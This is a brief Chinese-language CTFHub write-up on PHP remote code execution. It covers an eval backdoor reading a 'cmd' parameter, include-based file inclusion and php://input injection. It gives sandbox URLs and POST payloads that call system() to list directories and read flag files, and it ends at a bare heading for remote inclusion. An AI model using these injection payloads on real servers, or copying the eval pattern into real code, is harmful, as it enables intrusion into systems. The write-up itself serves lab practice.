CTFHUB---RCE
遠端程式碼/命令執行漏洞
1.eval執行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
request接受post和get請求,接受cmd引數
使用遠端系統命令遍歷目錄
http://challenge-51609bf458280f0b.sandbox.ctfhub.com:10800/index.php?cmd=system(%27ls%20../../../%27);
使用cat命令檢視flag
http://challenge-51609bf458280f0b.sandbox.ctfhub.com:10800/index.php?cmd=system(%27cat%20../../../flag_20969%27);
2.檔案包含
可以看到裡面有一個include() 函式。
首先需要了解一下,什麼是include() 的函式。
include()/require()/include_once()/require_once()引數可控的情況下,如匯入為非.php檔案,則仍按照php語法進行解析,這是include()函式所決定的。
通過 include 或 require 語句,可以將 PHP 檔案的內容插入另一個 PHP 檔案(在伺服器執行它之前)。
可以看到eval函式,將請求的引數作為命令執行。可是txt檔案是無法利用的,所以想到剛才的index頁面中,有一個include函式,或許可以利用一下.
我們通過get提交,將shell.txt的內容合併到index.php中,嘗試post提交ctfhub的值,發現被執行了,然後輸出了當下目錄的檔案。 接下來就是查詢flag。檢視flag了
火狐hackbar
ctfhub=system('find / -name flag');
ctfhub=system('cat /flag');
3.php://input
http://challenge-70a90084222015b8.sandbox.ctfhub.com:10800/?file=php://input
<?php system('ls');?>
<?php system('cat ../../../flag_13152');?>
4.遠端包含